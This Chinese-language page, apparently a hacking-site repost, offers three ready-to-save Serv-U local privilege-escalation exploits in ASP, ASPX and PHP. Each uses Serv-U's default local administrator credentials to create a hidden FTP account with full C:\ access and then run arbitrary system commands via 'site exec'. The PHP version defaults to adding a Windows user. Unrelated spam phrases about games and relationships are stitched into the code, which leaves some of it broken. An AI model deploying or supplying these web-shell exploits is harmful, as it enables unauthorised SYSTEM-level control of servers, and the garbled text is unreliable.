下面代码保留为servu.asp即可,应用了xml组件，树立一个lake 密码为admin123的可履行ftp帐号 <title>Serv-U 2 admin by lake2</title> <style type="text/css"> body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;} body {background-color: #ffffff;font-size:14px; } a:link {color: #0000FF;text-decoration: none;} a:visited {text-decoration: none;color: #0000FF;} a:hover {text-decoration: none;color: #FF0000;} a:active {text-decoration: none;color: #FF0000;} .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5} .TextBox {border: 1px solid #084B8E} </style> <p>Serv-U Local Get SYSTEM Shell with ASP </p> <p>Author: lake2, <a http://lake2.0x54.org/" target=_blank>http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a></p> <form name="form1" method="post" action=""> <p>user:   <input name="duser" type="text" class="TextBox" id="duser" value="LocalAdministrator">   <br>   pwd :   <input name="dpwd" type="text" class="TextBox" id="dpwd" value="#l@$ak#.lk;0@P">   <br> port: <input name="dport" type="text" class="TextBox" id="dport" value="43958"> <br> <input name="radiobutton" type="radio" value="add" checked class="TextBox"> Add User <input type="radio" name="radiobutton" value="del" class="TextBox"> Del User </p> <p>   <input name="Submit" type="submit" class="buttom" value="Run"> </p> </form> <p>   <% Usr = request.Form("duser") pwd = request.Form("dpwd") port = request.Form("dport") 'Command = request.Form("dcmd")    if request.Form("radiobutton") = "add" Then lake2 = "User " & Usr & vbcrlf lake2 = lake2 & "Pass " & pwd & vbcrlf lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf 'lake2 = lake2 & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf lake2 = lake2 & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _             "-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _             "-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _             "-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _             "-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _             "-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _             "-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf        'lake2 = lake2 & "quit" & vbcrlf                                    '--------        'On Error Resume Next        Set xPost = CreateObject("MSXML2.XMLHTTP")        xPost.Open "POST", "http://127.0.0.1:"& port &"/lake2", True        xPost.Send(lake2)        Set xPOST=nothing        response.write "FTP user lake pass admin123 :)<br><BR>"    else           lake2 = "User " & Usr & vbcrlf        lake2 = lake2 & "Pass " & pwd & vbcrlf        lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf        lake2 = lake2 & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & " User=lake" & vbcrlf               Set xPost3 = CreateObject("MSXML2.XMLHTTP")        xPost3.Open "POST", "http://127.0.0.1:"& port &"/lake2", True        xPost3.Send(lake2)        Set xPOST3=nothing        response.write "Done!<br><BR>"    end if %>   Only for Enjoy&Challenge ! </p> 下面保留为servu.aspx，应用servu的本地溢出履行命令 <%@ Page Language="VB" Debug="true" %> <%@ import Namespace="System.Net.Sockets" %> <script runat="server">   '   ' Love, Where are you ?      Sub BTN_Start_Click(sender As Object, e As EventArgs)     Dim Usr As String = Text_Name.Text     Dim pwd As String = Text_PWD.Text     Dim Port As Int32 = Text_Port.Text     Dim Command As String = Text_cmd.Text        Dim LoginUser As String = "User " & Usr & vbcrlf     Dim LoginPass As String = "Pass " & pwd & vbcrlf    ,热血三国名将; Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf     Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf     Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _             "-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _             "-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _             "-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _             "-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _             "-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _             "-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf     Dim Quit As String = "QUIT" & vbcrlf     Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf        'Dim client As New TcpClient     Dim tcpClient As New TcpClient()     Try         tcpClient.Connect("127.0.0.1", port)     Catch eee As Exception         response.write(eee.ToString())         response.end     End Try     tcpClient.ReceiveBufferSize = 1024     Dim networkStream As NetworkStream = tcpClient.GetStream()     Rec(networkStream)     Send(networkStream, LoginUser)     Rec(networkStream)     Send(networkStream, LoginPass)     Rec(networkStream)     Send(networkStream, MAINTENANCE)     Rec(networkStream)     Send(networkStream, DelDomain)     Rec(networkStream)     Send(networkStream, NewDomain)     Rec(networkStream)     Send(networkStream, NewUser)     Rec(networkStream)          ,热血江湖 不一样的糖果 不一样的甜蜜; Dim tcpClient2 As New TcpClient()           Try             tcpClient2.Connect("127.0.0.1", 43859)           Catch eee As Exception             response.write(eee.ToString())             response.end           End Try           tcpClient2.ReceiveBufferSize = 1024           Dim networkStream2 As NetworkStream = tcpClient2.GetStream()           Rec(networkStream2)           Send(networkStream2, "User lake" & vbcrlf)           Rec(networkStream2)           Send(networkStream2, "pass admin123" & vbcrlf)           Rec(networkStream2)           Send(networkStream2, "site exec " & Command & vbcrlf)           Rec(networkStream2)           tcpClient2.Close()     Send(networkStream, DelDomain)     Rec(networkStream)     Send(networkStream, Quit)     Rec(networkStream)     tcpClient.Close()   End Sub            Sub Rec(o As Object)     If o.CanRead Then       Dim bytes(1024) As Byte       o.Read(bytes, 0, 1024)       Dim returndata As String = Encoding.ASCII.GetString(bytes)       response.Write("out:" & returndata & "<br>")     Else       response.Write("What's wrong ?")     End If   End Sub      Sub Send(o As Object,data As String)     If o.CanWrite Then       Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)       o.Write(sendBytes, 0, sendBytes.Length)       response.write("in: " & data & "<br>")     Else       response.Write("What's wrong ?")     End If   End Sub </script> <html> <head> </head> <body>   <form runat="server">     <p>         <asp:Label id="Label1" runat="server" width="353px" forecolor="Blue">from Serv-U 2         admin by lake2</asp:Label>     </p>     <p>         <asp:Label id="Label2" runat="server" width="40px">Name</asp:Label>         <asp:TextBox id="Text_Name" runat="server" Width="152px">LocalAdministrator</asp:TextBox>         <br />         <asp:Label id="Label3" runat="server" width="40px">PWD</asp:Label>         <asp:TextBox id="Text_PWD" runat="server">#l@$ak#.lk;0@P</asp:TextBox>         <br />         <asp:Label id="Label4" runat="server" width="40px">Port</asp:Label>         <asp:TextBox id="Text_Port" runat="server">43958</asp:TextBox>         <br />         <asp:Label id="Label5" runat="server" width="40px">cmd</asp:Label>         <asp:TextBox id="Text_cmd" runat="server"></asp:TextBox>     </p>     <p>         <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Text="Start"></asp:Button>,给三十岁男人女人的一些悄悄话;     </p>     <p>         <hr />         <!-- Insert content here -->     </p>   </form> </body> </html> 下面保留为servu.php，是php版的servu本地溢出程序，可以履行命令。 <?php if(isset($_POST["Port"])&&isset($_POST["User"])&&isset($_POST["Pass"])) {    $sendbuf = "";    $recvbuf = "";    $domain = "-SETDOMAIN\r\n".            "-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n".            "-TZOEnable=0\r\n".            " TZOKey=\r\n";    $adduser = "-SETUSERSETUP\r\n".            "-IP=0.0.0.0\r\n".            "-PortNo=2121\r\n".            "-User=Will_Be\r\n".  ,热血江湖韩服官网;          "-Password=Will_Be\r\n".    ,喜欢;        "-HomeDir=c:\\\r\n".            "-LoginMesFile=\r\n".            "-Disable=0\r\n".            "-RelPaths=1\r\n".            "-NeedSecure=0\r\n".            "-HideHidden=0\r\n".            "-AlwaysAllowLogin=0\r\n".            "-ChangePassword=0\r\n".            "-QuotaEnable=0\r\n".            "-MaxUsersLoginPerIP=-1\r\n".            "-SpeedLimitUp=0\r\n".            "-SpeedLimitDown=0\r\n".            "-MaxNrUsers=-1\r\n".            "-IdleTimeOut=600\r\n".            "-SessionTimeOut=-1\r\n".            "-Expire=0\r\n".            "-RatioUp=1\r\n".            "-RatioDown=1\r\n".            "-RatiosCredit=0\r\n".            "-QuotaCurrent=0\r\n".            "-QuotaMaximum=0\r\n".            "-Maintenance=None\r\n".            "-PasswordType=Regular\r\n".            "-Ratios=None\r\n".            " Access=c:\\|RELP\r\n";    $deldomain="-DELETEDOMAIN\r\n".           "-IP=0.0.0.0\r\n".           " PortNo=2121\r\n";    $sock = fsockopen("127.0.0.1", $_POST["Port"], &$errno, &$errstr, 10);    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "USER ".$_POST["User"]."\r\n";    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "PASS ".$_POST["Pass"]."\r\n";    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "SITE MAINTENANCE\r\n";    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = $domain;    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = $adduser;    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    echo "**********************************************************<br>";    echo "Starting Exploit ...<br>";    echo "**********************************************************<br>";    $exp = fsockopen("127.0.0.1", "2121", &$errno, &$errstr, 10);    $recvbuf = fgets($exp, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "USER Will_Be\r\n";    fputs($exp, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($exp, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "PASS Will_Be\r\n";    fputs($exp, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($exp, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    $sendbuf = "site exec ".$_POST["Command"]."\r\n";    fputs($exp, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: site exec</font> <font color=green>".$_POST["Command"]."</font><br>";    $recvbuf = fgets($exp, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    echo "**********************************************************<br>";    echo "Starting Delete Domain ...<br>";    echo "**********************************************************<br>";    $sendbuf = $deldomain;    fputs($sock, $sendbuf, strlen($sendbuf));    echo "<font color=blue>Send: $sendbuf</font><br>";    $recvbuf = fgets($sock, 1024);    echo "<font color=red>Recv: $recvbuf</font><br>";    fclose($sock);    fclose($exp); } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>Serv-U Local Exploit By Will_Be</title> </head> <body> <form method="post"> LocalPort: <input name="Port" type="text" id="Port" value="43958"> <br> LocalUser: <input name="User" type="text" id="User" value="LocalAdministrator"> <br> LocalPass: <input name="Pass" type="text" id="Pass" value="#l@$ak#.lk;0@P"> <br> Command　: <input name="Command" type="text" id="Command" value="net user Will_Be heihei /add"> <br> <input type="submit" name="Submit" value="提交">　　 <input type="reset" name="Submit" value="重置"> </form> </body> </html>

评论